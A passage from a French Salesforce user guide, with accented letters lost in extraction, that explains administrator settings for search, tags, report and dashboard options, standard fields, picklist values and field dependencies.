Cochez cette case pour activer les liens de placement pour les tches de la section Mes tches de l'onglet Accueil et sur
la vue journalire du calendrier. Cette option est active par dfaut. Les utilisateurs peuvent survoler l'objet d'une tche
pour consulter ses dtails dans un plan interactif.
Les informations contenues dans ces fentres superposes sont configures par votre administrateur.
Paramtres de configuration
Activer l'diteur de prsentation de pages avanc
Cochez cette case pour activer l'diteur de prsentation de page avanc pour votre organisation. Lorsque cette option est
active, l'diteur de prsentation de page avanc remplace l'interface d'dition actuelle par un diteur riche en fonctionnalits
de type WYSIWYG, qui contient toutes les fonctionnalits de l'diteur d'origine ainsi que plusieurs amliorations.
Activer la gestion avance de profils
Slectionnez cette case pour activer les vues de liste avances et la modification en ligne dans la page de gestion de profils.

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de recherche | 365

Paramtres avancs
Activer le publipostage tendu
Cochez cette case en vue d'activer le publipostage tendu pour votre entreprise. Lorsque cette case est coche, le lien
Publipostage en masse est disponible dans la zone Outils des pages d'accueil des comptes, des contacts et des pistes. En
outre, les publipostages simples demands partir de la liste associe Historique des activits d'un enregistrement sont
effectus l'aide de la fonction Publipostage tendu.
Le publipostage tendu disponible sur demande uniquement. Contactez le support client salesforce.com si cette fonction
vous intresse.

Personnalisation des paramtres de recherche

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les paramtres de recherche :

Personnaliser l'application

Pour modifier les paramtres de recherche de votre entreprise :

1. Cliquez sur Configuration Personnalisation Recherche Paramtres de recherche.
2. Modifiez les paramtres de recherche de votre entreprise. Pour obtenir la description de chaque paramtre, reportez-vous
Paramtres de recherche la page 365.
3. Cliquez sur Enregistrer.
Paramtres de recherche
Les paramtres de recherche sont les suivants :
Liste droulante d'activation d'objet pour la fonction Rechercher de l'encadr
La liste droulante des objets pour la fonction de recherche du menu latral permet de limiter les recherches via le menu
latral par objet. Lorsque vous slectionnez Liste droulante d'activation d'objet pour la fonction
Rechercher de l'encadr, une liste droulante apparat dans la section Recherche. Dans cette liste, les utilisateurs
peuvent choisir d'effectuer une recherche sur un objet spcifique ou sur tous les objets.
Pour plus d'informations sur l'utilisation du menu latral pour lancer des recherches, reportez-vous Prsentation de la
recherche la page 1893.
Cocher la case de recherche du menu latral Limiter aux lments dont je suis responsable
La case cocher Limiter aux lments dont je suis responsable permet vos utilisateurs de n'inclure
que les enregistrements dont ils sont responsables lors de la saisie des demandes de recherche dans le menu latral.
Pour plus d'informations sur l'utilisation du menu latral pour lancer des recherches, reportez-vous Prsentation de la
recherche la page 1893.
Remarque: La case cocher Limiter aux lments dont je suis responsable, qui apparat dans
Recherche avance, est toujours accessible aux utilisateurs, quel que soit ce paramtre.

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de recherche | 366

Activer la recherche de contenus de document

L'activation de la recherche de contenus de document permet de rechercher le texte complet d'un document.
Lors du tlchargement d'un nouveau document ou du remplacement d'un ancien document, son contenu est disponible
pour la recherche.
Pour plus d'informations sur la recherche de contenu de documents, reportez-vous Recherche de documents la page
1383.
Activez loptimisation de la recherche si vos contenus sont principalement en japonais, en chinois ou en coren.
L'activation de cette option permet d'optimiser la recherche dans les langues japonaise, chinoise en corenne. Elle affecte
la recherche dans la barre latrale et de comptes pour Rechercher les doublons dans un enregistrement de piste. Activez
cette option si les utilisateurs recherchent essentiellement en japonais, chinois ou coren dans la barre latrale et si le
texte des champs de recherche s'affiche principalement dans l'une de ces langues.
N'activez pas cette option si le contenu et les recherches utilisent principalement d'autres langues.
Utiliser les enregistrements de lutilisateur rcemment affichs pour les recherches vides et par saisie automatique
Si ce paramtre est activ, la liste des enregistrements renvoys par une recherche par saisie automatique et une recherche
vide d'un utilisateur est rcupre dans les enregistrements d'utilisateur rcemment affichs.
Si ce paramtre est dsactiv, la bote de dialogue affiche une liste d'enregistrements utilisateur rcemment accds dans
l'ensemble de votre organisation.
Nombre de rsultats de recherche affichs par objet
La zone Nombre de rsultats de recherche affichs par objet permet de configurer le nombre d'lments renvoys pour
chaque objet dans la page des rsultats de la recherche. Le paramtre actuel se trouve prs de chaque objet entre parenthses.
Pour effectuer des changements, slectionnez au moins un objet, entrez le nouveau nombre de rsultats par page et
cliquez sur Enregistrer. La nouvelle valeur doit tre comprise entre 5 et 50.
Pour plus d'informations sur la personnalisation des rsultats de recherche, reportez-vous Affichage des rsultats de
recherche la page 1909.
Paramtres de recherche
La zone paramtres de recherche vous permet d'activer des recherches avances et l'excution automatique de recherche
pour toute recherche de compte, de contact, d'utilisateur et d'objet personnalis.
Pour plus d'informations sur ces fonctions, reportez-vous Recherche via la bote de dialogue Recherche la page 1913.

Voir aussi :
Prsentation de la recherche

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres des balises | 367

Personnalisation des paramtres des balises

Les paramtres des balises sont disponibles dans : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les paramtres des balises :

Personnaliser l'application

Les administrateurs peuvent utiliser les outils suivants pour configurer et grer des balises personnelles et publiques :

Paramtres des balises- Activer les balises personnelles et publiques pour les comptes, activits, actifs, campagnes, requtes,
contacts, contrats, tableaux de bord, documents, vnements, pistes, notes, opportunits, rapports, solutions, tches et tout
objet personnalis.
Nettoyage des balises personnelles Supprimer les balises personnelles de vos utilisateurs dsactivs.

Voir aussi :
propos du marquage
Marquage d'enregistrements

Activation des balises

Les paramtres des balises sont disponibles dans : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les paramtres des balises :

Personnaliser l'application

Pour modifier les paramtres de balisage de votre entreprise :

1. Cliquez sur Configuration Personnalisation Balises Paramtres des balises.
2. Slectionnez Activer les balises personnelles si vous souhaitez autoriser des utilisateurs ajouter des balises
personnelles des enregistrements, et slectionnez Activer les balises publiques si vous souhaitez autoriser des
utilisateurs ajouter des balises publiques des enregistrements. Dslectionnez les deux options si vous voulez dsactiver
le balisage.
3. Si vous activez les balises, spcifiez quels objets et prsentations de page doivent afficher vos balises personnelles et publiques
dans la section balises en haut des pages dtails d'enregistrement. La section de balise est la seule faon, pour un utilisateur,
d'ajouter des balises un enregistrement.
Par exemple, si vous ne slectionnez qu'une ou plusieurs prsentations de page de compte, les utilisateurs de votre entreprise
ne pourront marquer que les enregistrements de compte. En outre, si vous ne slectionnez que les prsentations de pages
de compte dans la section Activer les balises personnelles et non dans la section Activer les balises
publiques, les utilisateurs ne peuvent baliser des enregistrements de compte qu'avec des balises personnelles.

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres des balises | 368

Remarque:

Quand des balises sont actives, vous pouvez galement ajouter des balises personnelles et publiques une
prsentation de page en modifiant la prsentation de page directement. Reportez-vous Personnalisation des
prsentations de page la page 546.
Les objets personnaliss qui ne sont pas associs un onglet ne sont pas renvoys dans les rsultats de recherche
ni affichs dans la page Balises, mme si les balises sont actives pour l'objet personnalis. Pour afficher les
enregistrements d'objets personnaliss dans les rsultats de recherche ou dans la page Balises, un onglet associ
est ncessaire, mme s'il n'est pas visible pour les utilisateurs.
Les utilisateurs du portail Client ne peuvent pas afficher la section de balises d'une page, mme si elle est incluse
dans une prsentation de page.

4. Cliquez sur Enregistrer.

Ajout du composant Balises au menu latral
Une fois que vous avez activ des balises pour votre entreprise, vous pouvez ajouter le composant Balises au menu latral de
votre utilisateur. Ce composant permet aux utilisateurs d'accder la page Balises partir de laquelle ils peuvent parcourir,
rechercher et grer leurs balises. Il rpertorie galement les balises les plus rcemment utilises par chaque utilisateur. Pour
ajouter ce composant :
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Accueil Prsentations de page d'accueil.

ct d'une prsentation de page d'accueil que vous souhaitez modifier, cliquez sur Modifier.
Cochez la case Balises et cliquez sur Suivant.
Organisez le composant Balises personnelles sur votre prsentation de page comme vous le souhaitez, puis cliquez sur
Enregistrer.
Conseil: Si vous voulez que le composant Balises apparaisse sur toutes les pages et pas uniquement l'onglet Accueil,
cliquez sur Configuration Personnalisation Interface utilisateur, et slectionnez Afficher les composants
personnaliss du menu latral sur toutes les pages.

Voir aussi :
propos du marquage
Marquage d'enregistrements
Suppression des balises personnelles pour les utilisateurs dsactivs

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de rapports et de tableaux de bord | 369

Suppression des balises personnelles pour les utilisateurs dsactivs

Nettoyage des balises personnelles disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour supprimer des balises personnelles pour des utilisateurs Personnaliser l'application
dsactivs :

Votre entreprise peut avoir jusqu' 5 000 000 de balises personnelles et publiques appliques des enregistrements pour tous
les utilisateurs. Si vous approchez de cette limite, vous pouvez supprimer les balises personnelles des utilisateurs dsactivs
dans la page Nettoyage des balises. Pour utiliser cette page :
1. Cliquez sur Configuration Personnalisation Balises Nettoyage des balises personnelles.
2. Slectionnez au moins un utilisateur dsactiv et cliquez sur Supprimer.
Une fois que les balises personnelles ont t supprimes, elles ne peuvent plus tre restaures.

Voir aussi :
propos du marquage
Activation des balises
Marquage d'enregistrements

Personnalisation des paramtres de rapports et de

tableaux de bord
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les paramtres de rapports et de tableaux de
bord :

Personnaliser l'application

Les administrateurs peuvent configurer et grer les paramtres de rapports et de tableaux de bord partir de la page Rapports
et tableaux de bord. Pour accder cette page, cliquez sur Configuration Personnalisation Rapports et tableaux de
bord, puis cliquez sur les liens suivants pour accder aux paramtres de rapports et de tableaux de bord :

Personnaliser les paramtres de l'interface utilisateur des rapports et tableaux de bord : contrle les fonctionnalits de
l'interface utilisateur des rapports et tableaux de bord, telles que les en-ttes flottants dans les rapports, la recherche de
tableaux de bords saisie automatique et les options des tableaux.

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de rapports et de tableaux de bord | 370

Personnaliser les paramtres de messagerie des rapports et tableaux de bord : contrle le mode d'envoi de notifications
par e-mail, qui comprend le traitement des images dans les e-mails de tableaux de bord pour les utilisateurs de Lotus Notes,
et l'envoi de rapports et de notifications d'actualisation de tableaux de bord aux utilisateurs du portail.
Personnaliser les dossiers de rapports : ce lien permet d'accder au dernier dossier de rapports ouvert. Depuis cet
emplacement vous pouvez modifier les proprits du dossier telles que le nom, l'accs et le partage.

Voir aussi :
Paramtres de personnalisation de linterface utilisateur Rapports et tableaux de bord
Personnalisation des paramtres d'e-mail des rapports et tableaux de bord

Paramtres de personnalisation de linterface utilisateur Rapports et

tableaux de bord
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les paramtres de rapports et de tableaux de
bord :

Personnaliser l'application

Pour modifier les paramtres de l'interface utilisateur rapports et tableaux de bord de votre organisation :
1. Cliquez sur Configuration Personnalisation Rapports et tableaux de bord Paramtres de l'interface utilisateur.
2. Activez ou dsactivez les cases cocher suivantes pour modifier les paramtres de votre organisation :
Activer les en-ttes de rapport flottants
Les en-ttes de rapport flottants permettent de laisser affichs les en-ttes de colonne dans les rapports tabulaires,
quel que soit le niveau de dfilement des utilisateurs dans les rsultats des rapports. Avec les en-ttes de rapport
flottants, les utilisateurs peuvent aller jusqu'en la fin des longs rapports tabulaires sans avoir revenir au dbut pour
consulter le nom des en-ttes de colonne. Les utilisateurs peuvent galement cliquer sur les en-ttes de rapport
flottants pour trier les donnes dans une colonne donne. En cas de tri des donnes sur la base d'un en-tte de rapport
flottant, le rapport est actualis et redirige les utilisateurs vers le dbut des rsultats de rapport.
Utiliser la saisie automatique en slectionnant des tableaux de bord
L'option de Recherche de tableaux de bord saisie automatique permet de retrouver rapidement des tableaux de bord
tout en affichant un tableau de bord dans l'onglet Tableaux de bord. Cette option est active par dfaut. Pour rechercher
un tableau de bord sous l'onglet Tableaux de bord, tapez les premires lettres de son nom dans le filtre de recherche
et tous les tableaux de bord correspondants sont dynamiquement rpertoris dans la liste droulante. Vous pouvez
visualiser uniquement les tableaux de bord des dossiers auxquels vous avez accs. Dsactivez cette option pour utiliser
une liste droulante la place.
Important: Cette option est automatiquement dsactive pour tous les utilisateurs qui ont accs plus de
1 000 tableaux de bord. La liste droulante Afficher le tableau de bord saffiche dans longlet Tableaux de
bord pour ces utilisateurs, mme si cette option est active.

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de rapports et de tableaux de bord | 371

3. Cliquez sur Enregistrer.

Voir aussi :
Personnalisation des paramtres de rapports et de tableaux de bord

Personnalisation des paramtres d'e-mail des rapports et tableaux de

bord
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les paramtres de rapports et de tableaux de
bord :

Personnaliser l'application

Pour modifier les paramtres d'e-mails des rapports et tableaux de bord de votre organisation :
1. Cliquez sur Configuration Personnalisation Rapports et tableaux de bord Paramtres d'e-mail.
2. Activez ou dsactivez les cases cocher suivantes pour modifier les paramtres de votre organisation :
Utiliser des images compatibles avec Lotus Notes dans les e-mails de tableau de bord
Les notifications d'actualisation du tableau de bord peuvent tre envoyes des utilisateurs spcifiques une fois
l'actualisation prvue effectue. Par dfaut, Salesforce.com envoie les images dans les e-mails de tableau de bord sous
la forme de fichiers .png (Portable Network Graphic), qui ne sont pas pris en charge par Lotus Notes. Lorsque
l'option Utiliser des images compatibles avec Lotus Notes dans les e-mails de tableau
de bord est active, Salesforce.com utilise des images .jpg, que Lotus Notes prend en charge, lors de l'envoi
d'e-mails de tableau de bord. L'autorisation Planifier le tableau de bord est requise pour afficher cette option.
Remarque: Les e-mails de tableau de bord comportant des images compatibles avec Lotus Notes sont
beaucoup plus volumineux et la qualit des images peut tre infrieure.

Autoriser l'envoi des rapports et des tableaux de bord aux utilisateurs du portail
Cette option, dsactive par dfaut, est disponible dans les organisations Enterprise Edition et Unlimited Edition
dans lesquelles le portail client ou le portail partenaire est configur. Si elle n'est pas active, seuls les utilisateurs
Salesforce.com peuvent recevoir des rapports et des notifications d'actualisation de tableau de bord. Si vous activez
cette option, tous les utilisateurs internes et les utilisateurs du portail spcifis en tant que destinataires reoivent des
rapports et des tableaux de bord.
3. Cliquez sur Enregistrer.

Voir aussi :
Personnalisation des paramtres de rapports et de tableaux de bord

Personnaliser

Guide de l'utilisateur | Personnalisation des champs | 372

Personnalisation des champs

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer ou modifier des champs personnaliss :

Personnaliser l'application

Pour modifier des champs standard :

Personnaliser l'application

Personnalisez les champs pour adapter Salesforce.com aux exigences propres votre socit. Vous pouvez:

Modifier certains aspects des champs standard (reportez-vous Personnalisation des champs standard la page 373)
Changer des valeurs de liste de slection standard et personnalises ou ajouter des valeurs ces listes (reportez-vous
Modification des listes de slection la page 374)
Dfinir les rgles de dpendance entre les champs (reportez-vous Dfinition de dpendances de champs la page 380)
Crer des champs personnaliss pour saisir des informations supplmentaires (reportez-vous Cration de champs
personnaliss la page 390)
Crer des champs de formule qui effectuent des calculs automatiques de valeurs partir du contenu des autres champs
(reportez-vous la section laboration de formules la page 428)
Dfinir des valeurs par dfaut pour les champs personnaliss (reportez-vous Dfinition des valeurs de champ par dfaut
la page 431)
Dfinir des rgles de validation pour vos champs (reportez-vous Dfinition des rgles de validation la page 438)
Rendre un champ obligatoire partout dans Salesforce.com (reportez-vous propos des champs universellement requis
la page 468)
Dfinir les champs de suivi des modifications, y compris la date, l'heure, la nature et la personne l'origine de la modification
(reportez-vous Suivi de l'historique des champs la page 410)
Crer des prsentations de page pour contrler l'affichage des champs (reportez-vous Gestion des prsentations de page
la page 544)
Dfinir une scurit au niveau des champs pour contrler l'accs aux champs des ditions Enterprise Edition, Unlimited
Edition et Developer Edition (reportez-vous Configuration de la scurit au niveau du champ la page 182)

Voir aussi :
Ajout de champs et de relations
Affichage de champs
Prsentation des relations
Cration d'une relation plusieurs--plusieurs

Personnaliser

Guide de l'utilisateur | Personnalisation des champs standard | 373

Personnalisation des champs standard

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier des champs standard :

Personnaliser l'application

Vous pouvez perrsonnaliser plusieurs aspects des champs standard, tels que les valeurs de listes de slection, le format des
champs numrotation automatique, l'historique des champs de suivi, les filtres de recherche dans les champs de relation et
l'aide au niveau des champs.
Dans Enterprise Edition, Unlimited Edition et Developer Edition, vous pouvez galement afficher des dtails sur les champs
standard et dfinir une scurit au niveau des champs.

Voir aussi :
Ajout de champs et de relations
Modification des champs standard de numrotation automatique
Affichage de champs
Configuration de la scurit au niveau du champ
Suivi de l'historique des champs

Modification des champs standard de numrotation automatique

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour modifier les champs de numrotation automatique
standard :

Personnaliser l'application

Les identificateurs uniques de solutions, de requtes et de contrats sont des champs standard de numrotation automatique.
Lors de sa cration, chaque enregistrement se voit attribuer un numro unique dot d'un format prcis. Vous pouvez changer
le format et le numro de ces champs de numrotation automatique.
1. Cliquez sur Configuration Personnalisation, puis choisissez le lien d'onglet appropri et cliquez sur le lien Champs.
2. Cliquez sur Modifier en regard du nom du champ dans la liste Champs standard.
3. Entrez un format d'affichage pour contrler certains dtails de formatage, comme le nombre minimal de zros au
dbut, ainsi que le prfixe ou le suffixe du numro.

Personnaliser

Guide de l'utilisateur | Modification des listes de slection | 374

Les modifications apportes au format n'ont aucune incidence sur les enregistrements existants. Elles ne s'appliquent qu'aux
nouveaux enregistrements.
4. Entrez le numro attribuer l'enregistrement suivant cr une fois vos modifications enregistres.
5. Cliquez sur Enregistrer.
ATTENTION: Salesforce.com vous avertit si le numro suivant que vous entrez n'est pas suprieur aux nombres
existants. Cependant, il est possible de crer des numros en double si vous changez le format de numrotation
automatique plusieurs fois l'aide de formats similaires chaque fois.

Voir aussi :
Types de champs personnaliss

Modification des listes de slection

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les listes de slection :

Personnaliser l'application

Les listes de choix personnalises, ou listes de slection, permettent aux utilisateurs de choisir des valeurs dans une liste d'entres
prdfinie. Vous pouvez mettre jour les entres des listes de slection standard et personnalises. Reportez-vous Mise
jour des listes de slection la page 375.
Pour configurer plusieurs listes de valeurs de listes de slection et les rendre disponibles pour les diffrentes parties de votre
entreprise, reportez-vous Gestion des types d'enregistrement la page 539.
L'utilisation de listes de slection simplifie les filtres de rapport. Au lieu d'entrer manuellement des valeurs correspondantes,
les utilisateurs peuvent les slectionner dans une liste prdfinie de valeurs de listes de slection.

Voir aussi :
Tri des listes de slection
Remplacement des listes de slection
Mise jour des tapes d'opportunit
Dfinition de dpendances de champs

Personnaliser

Guide de l'utilisateur | Modification des listes de slection | 375

Mise jour des listes de slection

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les listes de slection :

Personnaliser l'application

Pour mettre jour un champ de liste de slection standard ou personnalis :

1. Accdez la page des champs de votre objet. Par exemple, pour des champs de compte, cliquez sur Configuration
Personnalisation Comptes Champs.
Pour des objets personnaliss, cliquez sur Configuration Crer Objets, puis sur le nom d'un objet.
2. Cliquez sur le nom de la liste de slection mettre jour.
3. Dans la section Valeurs de listes de slection, cliquez sur Modifier en regard d'une valeur.
4. La page Modification des listes de slection permet de renommer la valeur et de l'appliquer par dfaut la liste de slection
principale. Vous pouvez galement attribuer une couleur utiliser dans les graphiques en cliquant sur le bouton . Pour
attribuer dynamiquement une couleur lors de la cration du graphique, cliquez sur Attribuer dynamiquement des couleurs.
Remarque: Les couleurs de graphique ne sont pas disponibles pour les listes de slection multiples, les listes de
slection de devise, l'objet Tche, l'objet vnement et les listes de slection Concurrent de l'opportunit.
Conseil:

Certaines listes de slection spciales, telles que Priorit de tche ou Rle du partenaire, contiennent
des informations supplmentaires que vous pouvez modifier.
Si vous utilisez des types d'enregistrement, le changement de la valeur par dfaut de la liste de slection principale
ne modifie pas la valeur par dfaut de la liste de slection d'un type d'enregistrement.
Pour Salesforce CRM Ideas, la dfinition de la valeur par dfaut des listes de slection Catgories ou Statut
n'affecte pas la valeur par dfaut dans les pages Salesforce CRM Ideas.
Si vous modifiez l'tiquette d'une valeur de liste de slection utilise comme critre de filtre dans un rapport,
la valeur de liste de slection est alors automatiquement supprime du critre de filtre. Exemple : si votre rapport
contient un filtre dans lequel Origine de la piste gale Messagerie lectronique ou
Web et que vous modifiez la valeur de la liste de slection Web en Rfrencement, alors votre filtre de rapport
deviendra Origine de la piste gale Messagerie lectronique. Si la valeur de liste de
slection modifie tait la seule valeur prcise pour un filtre en particulier, cette dernire continuera d'tre
affiche parmi vos filtres de rapport, mais une erreur sera mentionne sur l'assistant de gnration de rapport.

5. Cliquez sur Enregistrer.

Personnaliser

Guide de l'utilisateur | Modification des listes de slection | 376

Remarque: Si l'organisation utilise le systme de traduction, informez les traducteurs que certaines traductions risquent
d'tre obsoltes en cas de modification des valeurs de liste de slection.

Voir aussi :
Modification des listes de slection
Listes de slection avec informations supplmentaires
Options supplmentaires pour la mise jour de listes de slection
Mise jour des tapes d'opportunit

Options supplmentaires pour la mise jour de listes de slection

Utilisez les options suivantes pour modifier des valeurs de liste de slection.

Cliquez sur Modifier en regard d'une valeur pour changer le nom, la dfinir en tant que valuer de liste de slection par
dfaut, attribuer une couleur utiliser dans les graphiques ou modifier des informations supplmentaires.
Cliquez sur Suppr en regard d'une valeur pour la supprimer de la liste de slection.
Les listes de slection spciales, telles que l'tape, la Priorit de tche, le Statut de tche, le Statut de
piste et le Statut de requte de l'opportunit, peuvent vous inviter mapper la valeur supprime avec une autre
valeur existante dans tous les enregistrements de votre organisation. Vous pouvez mapper les valeurs ou laisser vos donnes
existantes inchanges.

Cliquez sur Nouveau pour ajouter des valeurs la liste de slection. Si vous utilisez des types d'enregistrement, slectionnez
ceux qui doivent inclure les nouvelles valeurs.
Remarque: Dans un package gr, si le dveloppeur peut ajouter de nouvelles valeurs de liste de slection, elles
sont ajoutes l'organisation abonne lors de l'installation et de la mise niveau.

Cliquez sur Rorganiser pour modifier la squence des valeurs de listes de slection.
Cliquez sur Remplacer pour modifier les valeurs des champs de liste de slection dans les enregistrements existants.
Cliquez sur Vue imprimable pour ouvrir une liste facile imprimer de vos valeurs de liste de slection.
Cliquez sur Couleurs de graphique, puis slectionnez une option afin d'attribuer des couleurs aux valeurs de liste de
slection, utiliser dans les graphiques :
-

Attribuer des couleurs fixes toutes les valeurs permet d'attribuer une couleur fixe chaque valeur partir de la palette
standard des couleurs de graphique. La colonne Couleurs de graphique affiche les couleurs attribues. Changez
manuellement les couleurs attribues en modifiant les valeurs de la liste de slection. Par exemple, si vous souhaitez
toujours afficher en rouge les valeurs Close Perdue dans les graphiques groups par tape d'opportunit, attribuez la
couleur rouge cette opportunit.
Attribuer dynamiquement des couleurs aux valeurs permet d'attribuer des couleurs lors de la cration d'un graphique.
La colonne Couleurs de graphique indique Attribu dynamiquement pour toutes les couleurs. Attribuez des
couleurs fixes en modifiant les valeurs de liste de slection. Par exemple, si vous souhaitez afficher uniquement certaines
valeurs de liste de slection avec des couleurs fixes dans les graphiques, attribuez manuellement des couleurs ces valeurs
et laissez les autres attribues dynamiquement .

Les attributions dynamiques sont remplaces chaque fois que vous cliquez sur une option dans Couleurs de graphique.

Personnaliser

Guide de l'utilisateur | Modification des listes de slection | 377

Remarque: Les couleurs de graphique ne sont pas disponibles pour les listes de slection multiples, les listes de
slection de devise, l'objet Tche, l'objet vnement et les listes de slection Concurrent de l'opportunit.

Pour les organisations utilisant des types d'enregistrement, cette liste de slection est une liste de slection principale. Vous
pouvez inclure tout ou partie des valeurs de la liste principale dans diffrents types d'enregistrement pour proposer un
sous-ensemble de valeurs aux utilisateurs d'aprs leur profil. Pour savoir comment partager les valeurs de la liste de slection
principale entre les types d'enregistrement, reportez-vous Gestion des types d'enregistrement la page 539.

Voir aussi :
Attributs de champ personnalis
Modification des listes de slection
Mise jour des listes de slection
Mise jour des tapes d'opportunit

Listes de slection avec informations supplmentaires

Certains champs standard de liste de slection comportent des informations supplmentaires que vous pouvez modifier. Voici
la description de ces champs :
Liste de slection

Description

Rle du partenaire (pour comptes)

Rles des partenaires des comptes, par exemple, Consultant

ou Fournisseur. Ces options sont disponibles lorsque vous
ajoutez un compte la liste associe Partenaires d'un compte
ou d'une opportunit.
Pour effectuer une modification, cliquez sur Configuration
Personnalisation Comptes Rles du partenaire.
Entrez le nom du rle du partenaire dans la colonne prvue
cet effet. Dans la colonne Rle oppos, saisissez le rle oppos
de partenaire correspondant. Lorsque vous attribuez un rle
de partenaire un compte, vous crez une relation de
partenaire inverse dans laquelle chaque compte considre
l'autre compte en tant que partenaire.
La longueur maximale d'une valeur de rle ou de rle oppos
est de 40 caractres.

Priorit (pour requtes)

Degr d'urgence de la requte, par exemple Faible ou leve.

Si vous supprimez une valeur, vous pouvez mapper la valeur
supprime sur une autre valeur existante dans l'ensemble des
requtes de votre entreprise.
La longueur maximale d'une valeur de liste de slection est de
40 caractres.

Personnaliser

Guide de l'utilisateur | Modification des listes de slection | 378

Liste de slection

Description

Statut (pour les membres de campagne)

Statut d'un membre de campagne, par exemple, Envoy ou

Rpondu.
Si vous supprimez une valeur Statut, vous pouvez la mapper
avec une autre valeur existante. La valeur de remplacement est
automatiquement ajoute au statut de membre des campganes
qui contiennent la valeur supprime.
Si la valeur supprime est le statut de membre par dfaut, la
valeur de remplacement devient le statut par dfaut pour la
campagne. De mme, si la valeur supprime a le statut
Rpondu pour une campagne, la valeur de remplacement
devient le statut Rpondu pour cette campagne.

Statut (pour requtes)

Statut de la requte, par exemple Nouvelle ou En attente.

Si vous supprimez une valeur, vous pouvez mapper la valeur
supprime sur une autre valeur existante dans l'ensemble des
requtes de votre entreprise.
La longueur maximale d'une valeur de liste de slection est de
40 caractres.

Statut (pour contrats)

Statut du contrat dans le processus commercial du contrat.

Vous pouvez ajouter des valeurs cette liste de slection et
organiser chaque valeur dans l'une des diffrentes catgories
(par exemple Version prliminaire, En cours d'approbation
ou Activ). Triez ensuite vos contrats l'aide de ces catgories
dans les rapports et les vues.

Rle du contact (pour contrats)

Rle d'un contact dans un contrat (par exemple, Utilisateur

commercial ou Dcisionnaire). Ces options sont disponibles
lorsque vous ajoutez un contact la liste associe des rles des
contacts d'un contrat.
Pour effectuer une modification, cliquez sur Configuration
Personnalisation Contrats Rles du contact.
La longueur maximale d'une valeur de liste de slection est de
40 caractres.

Statut de la piste(pour pistes)

Statut d'une piste, par exemple En cours ou Valide.

Slectionnez une valeur en tant que statut par dfaut affect
toutes les nouvelles pistes cres manuellement, via l'assistant
d'importation ou votre site Web. Slectionnez une ou plusieurs
valeurs en tant que statut converti affect aux pistes converties.
Lors de la conversion de pistes valides en comptes, en contacts
et en opportunits, vous pouvez leur attribuer l'un des statuts
Converti. Bien que vous puissiez les inclure dans les rapports,
les pistes dotes d'un type de statut Converti ne sont plus
disponibles dans l'onglet Piste.

Personnaliser

Liste de slection

Guide de l'utilisateur | Modification des listes de slection | 379

Description
Si vous supprimez une valeur, vous pouvez mapper la valeur
supprime sur une autre valeur existante dans l'ensemble des
pistes de votre entreprise.
La longueur maximale d'une valeur est de 20 caractres.

Rle du contact (pour opportunits)

Rle d'un contact pour une opportunit (par exemple,

Utilisateur commercial ou Dcisionnaire). Ces options sont
disponibles lorsque vous ajoutez un contact la liste associe
des rles des contacts d'une opportunit.
Pour effectuer une modification, cliquez sur Configuration
Personnalisation Opportunits Rles du contact.
La longueur maximale d'une valeur de liste de slection est de
40 caractres.

tape (pour opportunits)

tapes du processus de vente (par exemple, prospect ou

proposition).
Pour effectuer une modification, cliquez sur Configuration
Personnalisation Opportunits Champs et
slectionnez Modifier en regard du champ.
Pour plus d'informations, reportez-vous Mise jour des
tapes d'opportunit la page 389.

Statut (pour solutions)

Statut d'une solution, par exemple Version prliminaire ou

Vrifie. Attribuez le statut Vrifie une ou plusieurs valeurs.
Lorsque les utilisateurs rsolvent des requtes en utilisant des
solutions, ils peuvent savoir quelles solutions ont t et n'ont
pas t rvises. La longueur maximale d'une valeur de liste
de slection est de 40 caractres.

Priorit (pour tches)

Importance de la tche, par exemple leve, Normale, Faible.

Dfinissez une valeur en tant que priorit par dfaut de toutes
les nouvelles tches et une autre en tant que niveau de priorit
le plus lev.
Si vous supprimez une valeur, vous pouvez mapper la valeur
supprime sur une autre valeur existante dans l'ensemble des
tches de votre entreprise.
La longueur maximale d'une valeur de liste de slection est de
20 caractres.

Statut (pour tches)

Statut d'une tche, par exemple Non dmarre ou Termine.

Choisissez au moins une valeur en tant que statut Clos et une
autre valeur comme statut par dfaut de toutes les nouvelles
tches.

Personnaliser

Guide de l'utilisateur | Dfinition de dpendances de champs | 380

Liste de slection

Description
Si vous supprimez une valeur, vous pouvez mapper la valeur
supprime sur une autre valeur existante dans l'ensemble des
tches de votre entreprise.
La longueur maximale d'une valeur de liste de slection est de
40 caractres.

Voir aussi :
Modification des listes de slection

Dfinition de dpendances de champs

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour dfinir des dpendances de champs :

Personnaliser l'application

Les dpendances de champs vous permettent de contrler les valeurs disponibles dans un champ personnalis de liste de
slection ou de liste de slection multiple. Avant de commencer dfinir vos dpendances de champs, crez les champs
inclure dans vos dpendances et passez en revue les concepts de base (rubrique propos des champs dpendants la page 381),
ainsi que les limitations lies aux champs dpendants (rubrique Observations sur les champs dpendants la page 385).
Pour dfinir des dpendances de champs :
1. Accdez la zone des champs de l'objet appropri :

Pour les objets standard, cliquez sur Configuration Personnalisation, slectionnez l'objet appropri dans le menu
Personnalisation, puis cliquez sur Champs.
Pour les champs de tches et d'vnements personnaliss, cliquez sur Configuration Personnalisation Activits
Champs personnaliss d'activit.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'un des objets personnaliss
de la liste.
Pour des paramtres personnaliss, cliquez sur Configuration Dvelopper Paramtres personnaliss, puis cliquez
sur le nom du paramtre personnalis.

2. Cliquez sur Dpendances de champs.

